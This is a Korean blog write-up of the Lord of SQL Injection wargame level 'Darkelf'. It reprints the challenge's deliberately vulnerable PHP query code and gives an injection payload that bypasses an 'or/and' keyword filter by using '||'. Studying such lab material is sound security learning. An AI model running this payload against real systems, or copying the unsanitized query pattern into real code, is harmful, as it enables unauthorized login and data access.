본문 바로가기
개인 공부/WEB

[웹해킹] LOS 6 - (Darkelf)

by 아메리카노와떡볶이 2021. 5. 30.
728x90
Lord of sql injection - Darkelf 풀이

los 6번 Darkelf에 대한 풀이 포스팅입니다.

이번 문제에 추가된 필터링은 or과 and입니다.

or과 and를 사용하지않고 admin 레코드를 얻어내면 해결할 수 있는 문제입니다. 우회법이 각각 || 기호와 &&기호를 사용하는 것으로 간단하기때문에 바로 풀이하겠습니다.

 

풀이

방금 언급했듯이, or과 and에 대한 우회를 찾는 것이 핵심 풀이입니다. || 기호와 &&기호를 통해 해결가능하기때문에

바로 작성하겠습니다.

 <?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect();  
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("darkelf"); 
  
highlight_file(__FILE__); 
?>

 

 

 

?pw=' or id = 'admin'%23 에서 or을 사용못하기때문에 || 기호를 사용합니다.

?pw='|| id='admin'%23

 

결과

 

 

 

728x90

'개인 공부 > WEB' 카테고리의 다른 글

[웹해킹] LOS 8 - (Troll)  (0) 2021.05.30
[웹해킹] LOS 7 - (Orge)  (0) 2021.05.30
[웹해킹] LOS 4 - (Orc)  (0) 2021.05.30
[웹해킹] LOS 3 - (Goblin)  (0) 2021.05.29
[웹해킹] LOS 2 - (Cobolt)  (0) 2021.05.29

댓글